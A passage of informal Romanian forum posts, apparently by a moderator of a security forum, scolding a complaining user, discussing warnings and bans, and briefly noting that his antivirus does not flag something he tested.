    Si ce anume ai vrea sa inveti de aici? Ce ai invatat de altundeva? A, tu nu ai invatat sa dai share la C pe DC++, deci nu e bun de nimic forumul... "Are cineva un program care da share la C: pe dc++ ? Va rog am nevoie." De ce nu vii cu idei pentru forum? Crezi ca daca forumul ar fi plin de tutoriale Copy/Paste ai invata ceva? Crezi ca iti poate baga cineva informatii in cap? Imi poti face o lista cu intrebari ( intrebari normale, nu toate prostiile ) l-a care nu s-a primit raspuns? Ce intelegi tu prin "hack"? De ce anume voiai sa te convingi aici? "Currently Active Users: 120" De ce crezi ca nu sunt 15? Oricum RST nu mai e ce era o data... Iar daca iei ban, desi nu prea cred, nu inseamna ca stafful e o adunatura de cocalari ( asta se intampla de la prea multe vizite pe acel site, site pentru cei limitati ca sa ma exprim academic ). Poti gasi multe lucruri interesante, trebuie doar sa cauti. A, da, poate iti plac filmele porno. Atunci dute pe redtube, acolo o sa gasesti multe "threaduri" interesante.
  22. Lrgat de "Post dublu": Au butonul "Edit", nu e vina mea ca nu il folosesc. Nu prea imi pasa ca nu ma suporta jumate din useri. CODEX: Pentru asta dau ban.
  23. Deci scrie toate combinatiile intr-un fisier?
  24. Nod32-ul meu ( update la zi ) nu il gaseste, l-am si testat pe mine si merge. Am gasit si un bug, dar momentan am alte treburi de facut.
  25. Voiam sa iti spun ca warnurile ti le-am dat pentru ca te-ai luat de benny loppa ( vezi postul de la "indieni ratati" ). Adica daca te luai de altcineva ( depinde de cine ) nu iti dadeam warn. Imi place ocupatia asta, enervez multa lume
×
×
  • Create New...